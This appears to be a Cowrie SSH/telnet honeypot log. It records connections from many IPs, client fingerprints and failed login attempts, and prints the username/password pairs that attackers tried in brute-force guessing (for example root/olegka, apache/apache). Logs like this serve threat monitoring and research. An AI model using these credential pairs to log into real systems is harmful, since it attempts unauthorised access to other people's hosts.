{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:09.338513Z","src_ip":"43.153.12.68","session":"d2d4d72b7f4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:09.413375Z","src_ip":"43.153.12.68","session":"d2d4d72b7f4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"issabel","password":"Itsemoemo2025@Washere2025","message":"login attempt [issabel/Itsemoemo2025@Washere2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:09.719383Z","src_ip":"43.153.12.68","session":"d2d4d72b7f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:10.790120Z","src_ip":"43.153.12.68","session":"d2d4d72b7f4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":55518,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3f9401c34d9","protocol":"ssh","message":"New connection: 38.148.249.2:55518 (10.17.0.5:22) [session: f3f9401c34d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:11.820372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:11.825241Z","src_ip":"38.148.249.2","session":"f3f9401c34d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:11.894083Z","src_ip":"38.148.249.2","session":"f3f9401c34d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"issabel","password":"Itsemoemo2025@Washere2025","message":"login attempt [issabel/Itsemoemo2025@Washere2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:12.205523Z","src_ip":"38.148.249.2","session":"f3f9401c34d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:13.278080Z","src_ip":"38.148.249.2","session":"f3f9401c34d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":58418,"dst_ip":"159.203.135.109","dst_port":22,"session":"588d88c4ee40","protocol":"ssh","message":"New connection: 37.233.85.71:58418 (159.203.135.109:22) [session: 588d88c4ee40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:18.400611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:18.405106Z","src_ip":"37.233.85.71","session":"588d88c4ee40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:18.518287Z","src_ip":"37.233.85.71","session":"588d88c4ee40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olegka","message":"login attempt [root/olegka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:18.857102Z","src_ip":"37.233.85.71","session":"588d88c4ee40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:19.971579Z","src_ip":"37.233.85.71","session":"588d88c4ee40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":35741,"dst_ip":"10.17.0.5","dst_port":22,"session":"b81f028a7c8b","protocol":"ssh","message":"New connection: 170.80.65.140:35741 (10.17.0.5:22) [session: b81f028a7c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:26.828339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:26.832601Z","src_ip":"170.80.65.140","session":"b81f028a7c8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:26.956174Z","src_ip":"170.80.65.140","session":"b81f028a7c8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Testing2025","message":"login attempt [root/Testing2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:27.483454Z","src_ip":"170.80.65.140","session":"b81f028a7c8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:28.610429Z","src_ip":"170.80.65.140","session":"b81f028a7c8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40570,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4b68208f5af","protocol":"telnet","message":"New connection: 172.81.62.90:40570 (159.203.135.109:23) [session: e4b68208f5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:35.054970Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":39404,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfc3cf710c79","protocol":"ssh","message":"New connection: 216.155.93.75:39404 (159.203.135.109:22) [session: cfc3cf710c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:00.766162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:00.770540Z","src_ip":"216.155.93.75","session":"cfc3cf710c79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:00.930241Z","src_ip":"216.155.93.75","session":"cfc3cf710c79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sal","password":"sal","message":"login attempt [sal/sal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:01.602624Z","src_ip":"216.155.93.75","session":"cfc3cf710c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:02.764569Z","src_ip":"216.155.93.75","session":"cfc3cf710c79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":50834,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecbe7d6fff46","protocol":"ssh","message":"New connection: 91.92.40.13:50834 (10.17.0.5:22) [session: ecbe7d6fff46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:10.407938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:10.708503Z","src_ip":"91.92.40.13","session":"ecbe7d6fff46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:10.711919Z","src_ip":"91.92.40.13","session":"ecbe7d6fff46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.08867645263672,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:11.143502Z","src_ip":"172.81.62.90","session":"e4b68208f5af","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:13.242750Z","src_ip":"91.92.40.13","session":"ecbe7d6fff46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:15.175106Z","src_ip":"91.92.40.13","session":"ecbe7d6fff46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":40788,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9470021076f","protocol":"ssh","message":"New connection: 103.216.145.2:40788 (10.17.0.5:22) [session: a9470021076f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:19.241927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:19.246325Z","src_ip":"103.216.145.2","session":"a9470021076f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:19.442306Z","src_ip":"103.216.145.2","session":"a9470021076f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1111","message":"login attempt [ftpuser/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:20.258584Z","src_ip":"103.216.145.2","session":"a9470021076f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:21.458181Z","src_ip":"103.216.145.2","session":"a9470021076f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":48112,"dst_ip":"159.203.135.109","dst_port":22,"session":"47f66ff9fbe8","protocol":"ssh","message":"New connection: 27.71.230.31:48112 (159.203.135.109:22) [session: 47f66ff9fbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:26.184780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:26.962526Z","src_ip":"27.71.230.31","session":"47f66ff9fbe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:26.965879Z","src_ip":"27.71.230.31","session":"47f66ff9fbe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AdminUser@1","message":"login attempt [root/AdminUser@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:32.567747Z","src_ip":"27.71.230.31","session":"47f66ff9fbe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:33.874851Z","src_ip":"27.71.230.31","session":"47f66ff9fbe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44136,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b7e5b3d9d2a","protocol":"telnet","message":"New connection: 172.81.62.90:44136 (159.203.135.109:23) [session: 4b7e5b3d9d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:34.409047Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":7820,"dst_ip":"159.203.135.109","dst_port":22,"session":"22d271ba693c","protocol":"ssh","message":"New connection: 38.93.206.2:7820 (159.203.135.109:22) [session: 22d271ba693c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:36.462177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:24:36.466087Z","src_ip":"38.93.206.2","session":"22d271ba693c","protocol":"ssh"}
